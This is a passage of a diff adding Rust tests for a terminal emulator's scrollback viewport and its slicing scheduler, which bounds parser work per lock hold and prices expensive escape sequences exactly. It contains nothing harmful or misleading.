still passes -- which is why the embedder's +/// own direction test asserts against the DOM sign rather than against this +/// one. +#[test] +fn positive_lines_scroll_backwards_into_history() { + let (shared, _actions, _) = scrolled_terminal(10); + + assert!(shared.scroll(2), "two lines of history exist to move into"); + + let mut encoder = Encoder::new(); + assert_eq!( + screen(&shared.snapshot(&mut encoder)), + vec!["L05", "L06", "L07", "L08"], + "scrolling back two lines must show two older lines" + ); + assert_eq!(shared.lock().display_offset(), 2); +} + +#[test] +fn negative_lines_scroll_forwards_towards_the_live_edge() { + let (shared, _actions, _) = scrolled_terminal(10); + assert!(shared.scroll(3)); + + assert!(shared.scroll(-1), "one line back towards the edge"); + + let mut encoder = Encoder::new(); + assert_eq!( + screen(&shared.snapshot(&mut encoder)), + vec!["L05", "L06", "L07", "L08"] + ); + assert_eq!(shared.lock().display_offset(), 2); +} + +/// The momentum guard. A trackpad flick keeps delivering events for about a +/// second after the fingers lift; once history runs out every one of them +/// must be free. +#[test] +fn scrolling_past_the_oldest_line_clamps_and_reports_no_movement() { + let (shared, _actions, _) = scrolled_terminal(10); + // Six lines of history: ten written, four on screen. + assert!(shared.scroll(6)); + assert_eq!(shared.lock().display_offset(), 6); + + assert!( + !shared.scroll(1), + "there is nothing older, so nothing moved" + ); + assert!( + !shared.scroll(1_000), + "and a whole flick of it still moves nothing" + ); + assert_eq!(shared.lock().display_offset(), 6); + + let mut encoder = Encoder::new(); + assert_eq!( + screen(&shared.snapshot(&mut encoder)), + vec!["L01", "L02", "L03", "L04"], + "the top of history is the oldest line, not a blank grid" + ); +} + +#[test] +fn scrolling_forwards_at_the_live_edge_reports_no_movement() { + let (shared, _actions, _) = scrolled_terminal(10); + assert!(!shared.scroll(-1)); + assert!(!shared.scroll(-1_000)); + assert_eq!(shared.lock().display_offset(), 0); +} + +#[test] +fn snapping_to_the_bottom_moves_only_when_scrolled_back() { + let (shared, _actions, _) = scrolled_terminal(10); + assert!( + !shared.scroll_to_bottom(), + "already live: a keystroke must not cost a repaint" + ); + + assert!(shared.scroll(4)); + assert!(shared.scroll_to_bottom(), "scrolled back: this is the snap"); + assert_eq!(shared.lock().display_offset(), 0); + + let mut encoder = Encoder::new(); + assert_eq!( + screen(&shared.snapshot(&mut encoder)), + vec!["L07", "L08", "L09", "L10"] + ); +} + +/// Why the snap has to exist at all: output does **not** bring the viewport +/// back. The grid pins a scrolled-back viewport and piles new lines above it +/// (`Grid::scroll_up` advances `display_offset` when it is non-zero), which is +/// the behaviour you want while reading -- and means the echo of a keystroke +/// would otherwise land on a screen the user cannot see. +#[test] +fn output_while_scrolled_back_leaves_the_viewport_where_the_reader_put_it() { + let (shared, _actions, mut renderer) = scrolled_terminal(10); + assert!(shared.scroll(3)); + + shared.feed_fully(b"\r\nL11\r\nL12"); + + let mut encoder = Encoder::new(); + assert_eq!( + screen(&shared.snapshot(&mut encoder)), + vec!["L04", "L05", "L06", "L07"], + "the reader stays put while new output accumulates below" + ); + + // And the snap still returns to the *new* live edge, not the old one. + assert!(shared.scroll_to_bottom()); + let after = shared.render(&mut renderer); + assert!(after.full, "a viewport move is a repaint"); + assert_eq!(screen(&after), vec!["L09", "L10", "L11", "L12"]); +} + +/// **The silent-corruption case.** +/// +/// The renderer's `Encoder` holds one content hash per screen row. Scrolling +/// changes what every row shows without changing a single cell, so those +/// hashes are stale the instant the viewport moves. The engine's protection is +/// that `scroll_display` marks the grid fully damaged and the embedder +/// republishes via `snapshot`, which does not consume damage -- so the +/// full-damage flag survives for the renderer's own next `render()`, which is +/// what clears its hashes. +/// +/// The discriminating part is the row content. Row 0 after the scroll holds +/// `L04`; if a stale hash for row 0 -- taken when it held `L07` -- survived, +/// the row would still ship, because the hashes differ. So the test scrolls to +/// a position where the *pre-scroll* text reappears at the *same screen row*: +/// scrolling back 4 puts `L03..L06` on screen, and then scrolling forward 4 +/// restores exactly the rows the hashes describe. A renderer whose hashes were +/// never cleared suppresses the whole screen there, and the user is left +/// looking at history that has scrolled away. +#[test] +fn a_scroll_does_not_leave_the_renderer_deduping_against_a_viewport_it_no_longer_shows() { + let (shared, _actions, mut renderer) = scrolled_terminal(10); + + // The embedder's scroll path: move, then republish by snapshot. + assert!(shared.scroll(4)); + let mut scroll_encoder = Encoder::new(); + let republished = shared.snapshot(&mut scroll_encoder); + assert_eq!(screen(&republished), vec!["L03", "L04", "L05", "L06"]); + + // The renderer thread's own next capture must still be told to repaint. + let after_scroll = shared.render(&mut renderer); + assert!( + after_scroll.full, + "the scroll's snapshot must not have eaten the full-damage flag" + ); + assert_eq!(screen(&after_scroll), vec!["L03", "L04", "L05", "L06"]); + + // Now back to where the renderer's *original* hashes were taken. Every row + // matches a hash it already holds, so only a cleared cache ships them. + assert!(shared.scroll(-4)); + let mut back_encoder = Encoder::new(); + let _ = shared.snapshot(&mut back_encoder); + let after_return = shared.render(&mut renderer); + assert!(after_return.full); + assert_eq!( + screen(&after_return), + vec!["L07", "L08", "L09", "L10"], + "returning to a previously-hashed viewport must still repaint it" + ); +} + +/// A row that genuinely changes while the viewport is scrolled back must +/// still reach the renderer. This is the same dedup hazard from the other +/// side: content changing under a stale hash rather than a stale hash under +/// unchanged content. +#[test] +fn a_row_that_changes_while_scrolled_back_still_ships() { + let (shared, _actions, mut renderer) = scrolled_terminal(10); + assert!(shared.scroll(2)); + let mut scroll_encoder = Encoder::new(); + let _ = shared.snapshot(&mut scroll_encoder); + let _ = shared.render(&mut renderer); + + // Rewrite the top line of the active area, which is screen row 2 while + // scrolled back two. + shared.feed_fully(b"\x1b[1;1HCHANGED\x1b[K"); + + let frame = shared.render(&mut renderer); + let changed = rows_by_line(&frame) + .into_iter() + .find(|(_, text)| text == "CHANGED"); + assert_eq!( + changed, + Some((2, "CHANGED".to_string())), + "the rewritten active row must ship, at its scrolled screen position; got {:?}", + rows_by_line(&frame) + ); +} + +/// The cursor plane travels with the viewport, because the renderer paints it +/// at a screen row and the grid stores it at an active-area row. +#[test] +fn the_cursor_moves_down_the_screen_as_the_viewport_scrolls_back() { + let (shared, _actions, _) = scrolled_terminal(10); + let mut encoder = Encoder::new(); + let live = shared.snapshot(&mut encoder); + assert_eq!(live.cursor.line, 3, "cursor sits on the last active row"); + assert!(live.cursor.visible); + + assert!(shared.scroll(2)); + let mut scrolled_encoder = Encoder::new(); + let scrolled = shared.snapshot(&mut scrolled_encoder); + assert_eq!( + scrolled.cursor.line, 3, + "row 3 + 2 is off a four-row screen, so it clamps to the last row" + ); + assert!( + !scrolled.cursor.visible, + "scrolled off the bottom, so it must not be painted on an unrelated line" + ); +} + +/// The clamp above is not the whole story: a cursor that is merely pushed +/// *down* -- still on screen -- must report its new row, not its old one. A +/// capture that ignored the offset entirely would pass the clamp test above +/// (row 3 is where the cursor already was) and fail this one. +/// +/// Parking the cursor on the top row with `ESC[H` is what leaves it room to +/// move: at the live edge it is on row 0, and scrolling back two puts it on +/// row 2 of a four-row screen, still visible. +#[test] +fn a_cursor_still_on_screen_reports_its_scrolled_row() { + let (shared, _actions, _) = scrolled_terminal(10); + shared.feed_fully(b"\x1b[H"); + + let mut live_encoder = Encoder::new(); + let live = shared.snapshot(&mut live_encoder); + assert_eq!(live.cursor.line, 0, "parked on the top row"); + assert!(live.cursor.visible); + + assert!(shared.scroll(2)); + let mut encoder = Encoder::new(); + let frame = shared.snapshot(&mut encoder); + assert_eq!( + frame.cursor.line, 2, + "the caret follows the row it is written on down the screen" + ); + assert!( + frame.cursor.visible, + "still inside the viewport, so still painted" + ); +} + +#[test] +fn the_cursor_becomes_visible_again_on_the_way_back() { + let (shared, _actions, _) = scrolled_terminal(10); + assert!(shared.scroll(3)); + assert!(shared.scroll_to_bottom()); + + let mut encoder = Encoder::new(); + let frame = shared.snapshot(&mut encoder); + assert_eq!(frame.cursor.line, 3); + assert!(frame.cursor.visible); +} + +/// The alternate screen has no scrollback by construction: `Term::new` builds +/// the inactive grid with a zero scroll limit. So scrolling inside `vim` or +/// `less` must be a clamped no-op, leaving the application's own scrolling to +/// the application. Asserted rather than assumed -- a viewport that drifted +/// here would show the primary screen's history behind a full-screen app. +#[test] +fn the_alternate_screen_has_no_scrollback_to_reach() { + let (shared, _actions, _) = scrolled_terminal(10); + + shared.feed_fully(b"\x1b[?1049h"); + shared.feed_fully(b"ALT"); + + assert!(!shared.scroll(1), "no history exists on the alt screen"); + assert!(!shared.scroll(1_000)); + assert_eq!(shared.lock().display_offset(), 0); + + // And the primary screen's position is undisturbed on the way back. + shared.feed_fully(b"\x1b[?1049l"); + assert!(shared.scroll(2)); + assert_eq!(shared.lock().display_offset(), 2); +} + +/// A terminal configured with no history cannot scroll at all. The guard is +/// upstream's clamp against `history_size()`, and this pins it: without it the +/// offset would advance and capture would index above the grid. +#[test] +fn a_terminal_without_scrollback_never_moves() { + let (shared, _actions) = terminal(20, 4, 0); + shared.feed_fully(b"a\r\nb\r\nc\r\nd\r\ne\r\nf"); + + assert!(!shared.scroll(1)); + assert!(!shared.scroll(1_000)); + assert_eq!(shared.lock().display_offset(), 0); + + let mut encoder = Encoder::new(); + assert_eq!( + screen(&shared.snapshot(&mut encoder)), + vec!["c", "d", "e", "f"] + ); +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/slicing.rs b/desktop/src-tauri/crates/buzz-terminal/tests/slicing.rs new file mode 100644 index 0000000000..e027bfbc1f --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/slicing.rs @@ -0,0 +1,882 @@ +//! The work-denominated slicing seam: what bounds one lock hold, what bounds +//! the queue behind it, and what proves the work was actually done. +//! +//! **This is half a suite.** The adversarial resize and overflow cases live +//! in `slicing_adversarial.rs`, split out for the file-size ratchet; the two +//! files are one set of contracts. A mutation check scoped with +//! `--test slicing` covers 20 of 76 package tests and can report a confident +//! pass while the killing fixture sits in the sibling file. Dropping the +//! scrollback debt does exactly that, then dies under the package. +//! +//! Mutation checks run the package, never a file: `cargo test -p buzz-terminal`. +//! +//! Every assertion here is an **exact** expected value, never a `> 0`. A fix +//! that bounds the lock by *dropping* work instead of deferring it reports a +//! beautiful latency and a perfect screen-content receipt -- DECALN fills the +//! grid with `E`, and the second DECALN overwrites the first, so grid content +//! saturates after one of ten thousand. `completed_units == expected` is the +//! only predicate that separates "deferred the work" from "skipped it", and +//! `> 0` is satisfied by a seam that executed exactly one unit. + +use buzz_terminal::fences::{ + max_atom_work, max_drain_work, slice_bytes_remaining, Fences, MAX_SLICE, SYNC_CAP, TAIL_CAP, + WORK_BUDGET, +}; +use buzz_terminal::{Size, Terminal}; + +const COLUMNS: usize = 200; +const LINES: usize = 50; +const CELLS: u64 = (COLUMNS * LINES) as u64; + +fn terminal() -> Terminal { + Terminal::new( + Size { + columns: COLUMNS, + screen_lines: LINES, + scrollback: 100, + }, + Fences::ALL, + ) + .0 +} + +/// A deliberately tiny grid, for the arms that must fill the 4 MiB tail. +/// +/// Filling the cap is cheap; *draining* it is not, and on a 200x50 grid a +/// full tail of DECALN is ~1e10 work units of real parsing. The cap is a +/// property of the byte depth, not of the grid, so a small grid exercises the +/// same thresholds in seconds instead of minutes -- but it does change what +/// is being tested, so it is named rather than reused silently: these arms +/// test the *depth* predicates, and the arms above test the work bound. +fn tiny() -> Terminal { + Terminal::new( + Size { + columns: 10, + screen_lines: 2, + scrollback: 10, + }, + Fences::ALL, + ) + .0 +} + +/// Feed until the tail reaches its cap, or give up. +/// +/// Bounded on purpose. A test that loops until a predicate goes true hangs +/// forever when the predicate is what broke, which turns a killed mutant into +/// a wedged CI job -- and a suite that hangs instead of failing is a suite +/// nobody can bisect. +fn fill_tail(term: &mut Terminal, payload: &[u8]) -> bool { + for _ in 0..10_000 { + if term.tail_full() { + return true; + } + term.feed(payload); + } + false +} + +/// Pump to completion, counting acquisitions. A drain that needed no second +/// call returns 1. +fn pump(term: &mut Terminal, bytes: &[u8]) -> usize { + let mut calls = 1; + let mut more = term.feed(bytes); + while more { + more = term.drain(); + calls += 1; + } + calls +} + +/// One `feed` may not spend an unbounded amount of work, however much the +/// stream asks for. +/// +/// Kills: deleting the `spent >= WORK_BUDGET` break, which restores the +/// unbounded hold this whole seam exists to prevent. Deliberately asserts on +/// *work* rather than wall time -- a time assertion is a flake on a loaded +/// machine, and the work bound is the thing the code actually promises. +#[test] +fn one_feed_spends_at_most_one_budget_plus_a_slice() { + let mut term = terminal(); + let decalns = 10_000; + term.feed(&b"\x1b#8".repeat(decalns)); + + let spent = term.stats().completed_work; + // Two terms, both irreducible: the budget is checked between slices, and + // a slice is sized so it holds at most one budget of the densest payload; + // and the callback that crosses the line cannot be preempted. + let ceiling = max_drain_work(COLUMNS, LINES, 100); + assert!( + spent <= ceiling, + "one feed spent {spent} work, over budget+overshoot ({ceiling})", + ); + assert!( + term.pending_bytes() > 0, + "10000 DECALNs is {} work and the budget is {WORK_BUDGET}; if nothing \ + is pending the seam ran the whole payload in one hold", + decalns as u64 * CELLS, + ); +} + +/// Every deferred byte is eventually executed -- exactly once, and all of it. +/// +/// Kills: bounding the hold by dropping the remainder instead of keeping it +/// (`self.pending.clear()` in place of the tail), which passes any latency +/// gate and any grid-content check. The unit count is the only witness. +#[test] +fn a_deferred_tail_executes_every_unit_exactly_once() { + let mut term = terminal(); + let decalns = 10_000; + + let calls = pump(&mut term, &b"\x1b#8".repeat(decalns)); + + assert!( + calls > 1, + "a payload this dense must have needed a second call" + ); + assert_eq!( + term.stats().completed_units, + decalns as u64, + "every DECALN must execute exactly once: no drops, no double-parse", + ); + assert_eq!(term.stats().completed_work, decalns as u64 * CELLS); + assert_eq!(term.pending_bytes(), 0, "nothing may be left behind"); +} + +/// The tail drains without another `feed` -- a reader with nothing new to +/// read must still be able to retire what it already accepted. +/// +/// Kills: draining only from `feed`, which strands the tail whenever the +/// child goes quiet (`cat bigfile` then no more output: the last screenful +/// never appears). +#[test] +fn a_tail_drains_without_a_second_feed() { + let mut term = terminal(); + let decalns = 2_000; + assert!(term.feed(&b"\x1b#8".repeat(decalns)), "expected a tail"); + + // Never feed again. Only drain. + while term.drain() {} + + assert_eq!(term.stats().completed_units, decalns as u64); + assert_eq!(term.pending_bytes(), 0); +} + +/// A slice is cut only at a byte boundary the parser has already passed, so +/// an escape sequence split across two slices still executes once. +/// +/// Kills: cutting mid-sequence and restarting the parser, or double-feeding +/// the straddling bytes. `\x1b#8` is 3 bytes and slices are a multiple of +/// neither, so at this length hundreds of sequences straddle a cut. +#[test] +fn a_sequence_split_across_slices_executes_exactly_once() { + let mut term = terminal(); + let decalns = 3_000; + pump(&mut term, &b"\x1b#8".repeat(decalns)); + assert_eq!( + term.stats().completed_units, + decalns as u64, + "a straddling sequence was dropped or executed twice", + ); + + // Same payload, delivered one byte per feed: every sequence straddles. + let mut byte_at_a_time = terminal(); + for chunk in b"\x1b#8".repeat(decalns).chunks(1) { + byte_at_a_time.feed(chunk); + } + while byte_at_a_time.drain() {} + assert_eq!(byte_at_a_time.stats().completed_units, decalns as u64); +} + +/// The tail is a bound on the queue, and the breach counter is loud. +/// +/// Kills: a silent cap -- a tail that grows past `TAIL_CAP` without saying +/// so is indistinguishable from a reader that is obeying backpressure, which +/// is exactly the confusion that hides an unbounded queue. +#[test] +fn an_overrun_tail_is_capped_and_counted() { + let mut term = tiny(); + assert!(!term.tail_full(), "a fresh terminal is not full"); + assert!(term.tail_drained(), "a fresh terminal is drained"); + assert_eq!(term.stats().tail_breaches, 0); + + // A reader that ignores `tail_full` and keeps shovelling. + assert!( + fill_tail(&mut term, &b"\x1b#8".repeat(20_000)), + "the tail never reached its cap: the queue is not bounded", + ); + + assert!(term.pending_bytes() >= TAIL_CAP); + assert!( + term.stats().tail_breaches > 0, + "reaching the cap must be counted, not absorbed silently", + ); + assert!(!term.tail_drained(), "a full tail is not a drained tail"); +} + +/// Resume is hysteretic: `tail_drained` does not go true the instant the tail +/// falls one byte below the cap. +/// +/// Kills: `tail_drained() == !tail_full()`, which makes a reader flap between +/// paused and reading once per slice at exactly the moment it is most loaded. +#[test] +fn resume_waits_for_a_low_water_mark_not_merely_a_non_full_tail() { + let mut term = tiny(); + assert!( + fill_tail(&mut term, &b"\x1b#8".repeat(20_000)), + "expected a full tail" + ); + + // Drain until the reader is allowed to resume, watching for a window in + // which it is neither full nor drained -- that gap *is* the hysteresis. + let mut saw_gap = false; + for _ in 0..1_000_000 { + if term.tail_drained() { + break; + } + assert!(term.drain() || term.tail_drained()); + if !term.tail_full() && !term.tail_drained() { + saw_gap = true; + } + } + assert!( + term.tail_drained(), + "the tail never drained to the resume mark" + ); + assert!( + saw_gap, + "no depth was both non-full and non-drained: the two thresholds are \ + the same value and the reader will flap", + ); +} + +/// Close must not be held behind parser work. +/// +/// Kills: draining the tail on close instead of discarding it. Measured +/// elsewhere in this project: teardown that finishes parsing before killing +/// the child costs ~600 ms on macOS, and no byte of that work reaches a +/// renderer -- publication is detached before shutdown drains. +#[test] +fn close_may_abandon_the_tail_and_says_how_much_it_dropped() { + let mut term = terminal(); + term.feed(&b"\x1b#8".repeat(10_000)); + let stranded = term.pending_bytes(); + assert!(stranded > 0); + + let abandoned = term.abandon_tail(); + + assert_eq!(abandoned, stranded); + assert_eq!(term.pending_bytes(), 0); + assert_eq!( + term.stats().abandoned_bytes, + stranded as u64, + "dropped bytes must be counted: this is lossy by design and silent \ + loss is how it stops being by design", + ); + assert!( + term.tail_drained(), + "an abandoned tail cannot strand a reader" + ); +} + +/// The grid the weights are priced against tracks resizes. +/// +/// Kills: dropping `Feeder::resize`. A stale grid misprices every O(cells) +/// charge for as long as it is wrong -- and it is wrong in the *unsafe* +/// direction whenever the window grows, which is the common case. +#[test] +fn a_resize_reprices_the_same_escape() { + let mut small = terminal(); + small.feed_fully(b"\x1b#8"); + let before = small.stats().completed_work; + assert_eq!(before, CELLS); + + small.resize(Size { + columns: COLUMNS * 2, + screen_lines: LINES, + scrollback: 100, + }); + small.reset_stats(); + small.feed_fully(b"\x1b#8"); + + assert_eq!( + small.stats().completed_work, + CELLS * 2, + "the same escape on a grid twice as wide must cost twice as much", + ); + assert_eq!(small.stats().completed_units, 1, "still one callback"); +} + +/// A resize *between* slices of one payload reprices the remainder. +/// +/// Kills: caching the slice size or the grid across a drain. The tail +/// outlives the call that accepted it, so a resize can land in the middle of +/// it -- the untouched remainder must be charged at the new grid, not the one +/// that was current when the bytes arrived. +#[test] +fn a_resize_mid_tail_reprices_the_remainder() { + let mut term = terminal(); + let decalns = 4_000; + assert!(term.feed(&b"\x1b#8".repeat(decalns)), "expected a tail"); + let done_before = term.stats().completed_units; + let work_before = term.stats().completed_work; + assert_eq!(work_before, done_before * CELLS); + + term.resize(Size { + columns: COLUMNS * 2, + screen_lines: LINES, + scrollback: 100, + }); + while term.drain() {} + + let after = term.stats(); + assert_eq!(after.completed_units, decalns as u64, "no unit may be lost"); + assert_eq!( + after.completed_work, + work_before + (decalns as u64 - done_before) * CELLS * 2, + "the remainder must be priced at the resized grid", + ); +} + +/// Slice size is derived from the worst atom the grid admits, because a fixed +/// byte count cannot bound a lock hold: `ESC c` is two bytes and resets both +/// grids plus scrollback. +/// +/// Kills: replacing `slice_bytes_remaining` with a constant, or deriving it from +/// `cells` while the worst atom is larger than `cells`. Measured: 256 bytes +/// of DECALN is 1.6 ms at 200x50 and ~14 ms at 1600x50, so no one constant +/// serves both. +#[test] +fn slice_size_shrinks_as_the_worst_atom_grows() { + let small = slice_bytes_remaining(80, 24, 0, 0, 0); + let large = slice_bytes_remaining(1600, 50, 0, 0, 0); + assert!( + small > large, + "a bigger grid makes each byte more expensive, so slices must shrink: \ + 80x24 -> {small}, 1600x50 -> {large}", + ); + assert!( + slice_bytes_remaining(200, 50, 10_000, 0, 0) <= slice_bytes_remaining(200, 50, 0, 0, 0), + "scrollback makes RIS more expensive, so it may only shrink slices", + ); + for (columns, lines, scrollback) in [(80, 24, 0), (200, 50, 0), (400, 100, 0), (1600, 50, 0)] { + assert!((1..=MAX_SLICE).contains(&slice_bytes_remaining(columns, lines, scrollback, 0, 0))); + // One slice holds at most N/2 of the densest atom. Either that fits a + // budget, or the floor binds -- and then the overshoot is stated by + // `max_drain_work` rather than being an accident. + let width = slice_bytes_remaining(columns, lines, scrollback, 0, 0); + let worst = (width as u64 / 2) * max_atom_work(columns, lines, scrollback); + assert!( + worst <= WORK_BUDGET || width == 1, + "{columns}x{lines}: a slice buys {worst} work against a \ + {WORK_BUDGET} budget without the MIN clamp to excuse it", + ); + } +} + +/// Work released by an F1 abort is counted. +/// +/// Kills: leaving the `stop_sync` flush out of the accounting. F1 aborts a +/// runaway synchronized update by flushing its buffer through the handler -- +/// those callbacks run, cost time, and hold the lock, so a scheduler that +/// does not see them is blind on exactly the path the fence created. The +/// escapes here are `ESC#8` so the flushed work is unmistakable against the +/// buffered bytes. +#[test] +fn work_flushed_by_a_sync_abort_is_counted() { + let (mut term, _a) = Terminal::new( + Size { + columns: 80, + screen_lines: 24, + scrollback: 0, + }, + Fences::SYNC_ONLY, + ); + let cells = 80 * 24; + + // Open a synchronized update and never close it: F1 must abort it once + // the buffer passes SYNC_CAP, flushing everything buffered so far. + term.feed_fully(b"\x1b[?2026h"); + let decalns = SYNC_CAP / 3 + 1000; + term.feed_fully(&b"\x1b#8".repeat(decalns)); + + let stats = term.stats(); + assert!(stats.sync_aborts > 0, "the fence must have fired"); + // Every DECALN fed must be accounted for. The comparison is against the + // *input*, not against the counters' own internal consistency: an + // uncounted flush leaves both counters small together, so checking them + // against each other would pass over the mutant. + // Two bookkeeping callbacks besides the DECALNs: the `ESC[?2026h` that + // opened the update, and the `unset_private_mode` that `stop_sync` emits + // per abort to report the mode off (`vte-0.15.0/src/ansi.rs:353`). + let bookkeeping = 1 + stats.sync_aborts; + assert_eq!( + stats.completed_units, + decalns as u64 + bookkeeping, + "every DECALN must be counted, including the ones released by the \ + abort, plus {bookkeeping} mode callbacks", + ); + assert_eq!( + stats.completed_work, + decalns as u64 * cells + bookkeeping, + "and their work: {decalns} DECALNs at {cells} cells each", + ); +} + +/// Cheap traffic is not taxed by slicing: an ordinary screenful retires in +/// one call. +/// +/// Kills: a budget so small, or a slice so small, that normal output pays the +/// deferral machinery. This is the companion to the DECALN arm -- a seam that +/// bounds the hold by making everything slow has not fixed anything. +#[test] +fn ordinary_output_needs_no_second_call() { + let mut term = terminal(); + let line = b"\x1b[1;32mbuzz\x1b[0m substrate line of output 0123456789\r\n"; + let screenful = line.repeat(LINES); + + assert!( + !term.feed(&screenful), + "a screenful of ordinary output must retire in one call, not defer", + ); + assert_eq!(term.pending_bytes(), 0); + assert_eq!(term.stats().tail_breaches, 0); +} + +/// The work bound holds on the **first drain of a fresh feeder**, for the +/// densest payload upstream offers. +/// +/// Kills: sizing slices from observed density. A learned bound is not a bound +/// on the first slice -- a cold feeder has seen nothing, so it hands the +/// parser a wide slice, and a wide slice of `ESC c` spends many budgets +/// before anything checks. This is the arm that a warm-up-based scheduler +/// passes on the second call and fails on the first, so it asserts on a +/// terminal that has never parsed a byte. +#[test] +fn a_cold_feeder_bounds_its_very_first_slice() { + for (columns, lines) in [(80, 24), (200, 50), (400, 100), (1600, 50)] { + for (label, atom) in [("RIS", &b"\x1bc"[..]), ("DECALN", &b"\x1b#8"[..])] { + let (mut term, _a) = Terminal::new( + Size { + columns, + screen_lines: lines, + scrollback: 100, + }, + Fences::ALL, + ); + // Never fed before: `density`-style state, if any existed, is at + // its initial value. + term.feed(&atom.repeat(5_000)); + + let spent = term.stats().completed_work; + let ceiling = max_drain_work(columns, lines, 100); + assert!( + spent <= ceiling, + "{label} at {columns}x{lines}: first drain of a cold feeder \ + spent {spent} work, over budget+overshoot ({ceiling})", + ); + assert!(term.pending_bytes() > 0, "{label}: expected a tail"); + } + } +} + +/// Exact price of every escape whose cost the grid can amplify. +/// +/// One table, exact `completed_work` per escape, at two widths so a weight +/// that dropped its `columns` factor cannot hide. Kills, one row each: +/// +/// * `delete_chars`/`insert_blank` charged by `N` -- their cost *falls* as N +/// rises (the swap loop runs `columns - end` times), so N=1 is the worst +/// case and pricing by N is backwards. +/// * `erase_chars` charged raw `N` -- upstream clamps to the row, so +/// `ESC[65535X` on an 80-column grid touches 80 cells, not 65535. +/// * `scroll_up`/`delete_lines` losing their `columns` factor -- the rows are +/// reset, and a row reset is O(columns). +/// * `clear_line`, `decaln`, `clear_screen` mispriced by an axis. +/// +/// Exact equality, never a bound: a `<=` assertion passes for every weight +/// smaller than the truth, which is the direction that hurts. +#[test] +fn every_amplifiable_escape_is_priced_exactly() { + for (columns, lines) in [(80usize, 24usize), (400, 50)] { + let cells = (columns * lines) as u64; + let c = columns as u64; + let cases: &[(&str, String, u64)] = &[ + ("decaln", "\u{1b}#8".into(), cells), + ("clear_screen", "\u{1b}[2J".into(), cells), + ("clear_line", "\u{1b}[2K".into(), c), + ("erase_chars N=1", "\u{1b}[1X".into(), 1), + ("erase_chars N=20", "\u{1b}[20X".into(), 20), + ("erase_chars N=huge", "\u{1b}[65535X".into(), c), + ("delete_chars N=1", "\u{1b}[1P".into(), c), + ("delete_chars N=huge", "\u{1b}[65535P".into(), c), + ("insert_blank N=1", "\u{1b}[1@".into(), c), + ("scroll_up N=1", "\u{1b}[1S".into(), c), + ("scroll_up N=5", "\u{1b}[5S".into(), 5 * c), + ("scroll_up N=huge", "\u{1b}[65535S".into(), lines as u64 * c), + ("scroll_down N=1", "\u{1b}[1T".into(), c), + ("scroll_down N=4", "\u{1b}[4T".into(), 4 * c), + ( + "scroll_down N=huge", + "\u{1b}[65535T".into(), + lines as u64 * c, + ), + ("delete_lines N=3", "\u{1b}[3M".into(), 3 * c), + ( + "delete_lines N=huge", + "\u{1b}[65535M".into(), + lines as u64 * c, + ), + ("insert_lines N=1", "\u{1b}[1L".into(), c), + ("insert_lines N=6", "\u{1b}[6L".into(), 6 * c), + ( + "insert_lines N=huge", + "\u{1b}[65535L".into(), + lines as u64 * c, + ), + ("put_tab N=1", "\t".into(), c), + ("fwd_tabs N=1", "\u{1b}[1I".into(), c), + ("fwd_tabs N=huge", "\u{1b}[65535I".into(), c), + ("insert_blank N=huge", "\u{1b}[65535@".into(), c), + ("clear_line ESC[0K", "\u{1b}[0K".into(), c), + ("clear_line ESC[1K", "\u{1b}[1K".into(), c), + ("clear_screen ESC[0J", "\u{1b}[0J".into(), cells), + ("clear_screen ESC[1J", "\u{1b}[1J".into(), cells), + ("sgr", "\u{1b}[m".into(), 1), + ("goto", "\u{1b}[1;1H".into(), 1), + ]; + for (label, seq, expected) in cases { + let (mut term, _a) = Terminal::new( + Size { + columns, + screen_lines: lines, + scrollback: 0, + }, + Fences::ALL, + ); + // Home first so nothing scrolls, then measure only the escape. + term.feed_fully(b"\x1b[1;1H"); + term.reset_stats(); + term.feed_fully(seq.as_bytes()); + + assert_eq!(term.stats().completed_units, 1, "{label}: one callback"); + assert_eq!( + term.stats().completed_work, + *expected, + "{label} at {columns}x{lines} priced wrong", + ); + } + } +} + +/// RIS is priced with its history axis, not just its cells. +/// +/// Kills: charging `cells`, or dropping the history term. +/// +/// On the alt-screen arm, honestly labelled: the active-`history_size()` +/// mispricing it was written against is **unrepresentable in this design**, +/// not merely untested. `Counting` holds `scrollback` as a scalar copied at +/// construction and has no path to a live grid, so there is no way to write +/// the mutant. The arm is kept as a regression witness -- if a `Term` +/// reference is ever wired into the wrapper it becomes load-bearing the same +/// day -- and both arms are evaluated before either can report, so the +/// primary cannot short-circuit the alt. +#[test] +fn ris_is_priced_for_both_grids_and_the_scrollback_it_walks() { + let (columns, lines) = (80usize, 24usize); + let cells = (columns * lines) as u64; + let mut observed = vec![]; + for scrollback in [0usize, 100, 10_000] { + for (label, prefix) in [("primary", ""), ("alt screen", "\u{1b}[?1049h")] { + let (mut term, _a) = Terminal::new( + Size { + columns, + screen_lines: lines, + scrollback, + }, + Fences::ALL, + ); + term.feed_fully(prefix.as_bytes()); + term.reset_stats(); + term.feed_fully(b"\x1bc"); + observed.push((label, scrollback, term.stats().completed_work)); + } + } + // One comparison over the whole vector, not a loop of comparisons. + // Collecting first stops an arm from being *skipped*; asserting the + // vectors is what stops a failure from being *truncated* to the first + // mismatch. Otherwise the alt-screen receipt still never prints, which + // was the point of collecting. + let expected: Vec<_> = observed + .iter() + .map(|&(label, scrollback, _)| { + (label, scrollback, 2 * cells + (scrollback * columns) as u64) + }) + .collect(); + assert_eq!( + observed, expected, + "RIS must be priced on configured depth, identically on both grids", + ); +} + +/// CBT is charged for exactly the cells it scans -- an equality, in both +/// directions. +/// +/// Kills: delegating `move_backward_tabs` verbatim, and deleting the +/// fixed-point break. With tabstops cleared and the cursor at the right +/// margin, upstream never advances the cursor, so its `col == 0` exit is +/// unreachable and all N iterations rescan the row -- `ESC[3g ESC[65535Z` is +/// 8 bytes for 82 ms at 1600 columns. +/// +/// Two traps this had to be written around, both of which I walked into +/// first: +/// +/// * **The cursor is not the witness.** Deleting the break lands on the same +/// column; only the cost differs. A fixture checking where the cursor ended +/// up passes over the mutant. +/// * **An upper bound is not the witness either.** Deleting the break makes +/// the loop run without charging -- measured `work == 1` for 29 ms of real +/// scanning -- so `spent <= bound` *passes*. Under-charging is exactly the +/// direction that hurts, and only an equality sees it. +/// +/// The expected value is the scan the source performs: with no stop below the +/// cursor, one pass over `cursor_column` cells, then a permanent fixed point. +/// Both arms come to `columns` -- the telescoping sum of a walk, or one +/// failed pass -- which is the bound this whole change buys. +#[test] +fn the_worst_atom_is_charged_for_exactly_what_it_scans() { + for columns in [80usize, 400, 1600] { + let (mut term, _a) = Terminal::new( + Size { + columns, + screen_lines: 50, + scrollback: 0, + }, + Fences::ALL, + ); + // Adversarial for cost: every tabstop gone, cursor at the right + // margin, count far past the width. + 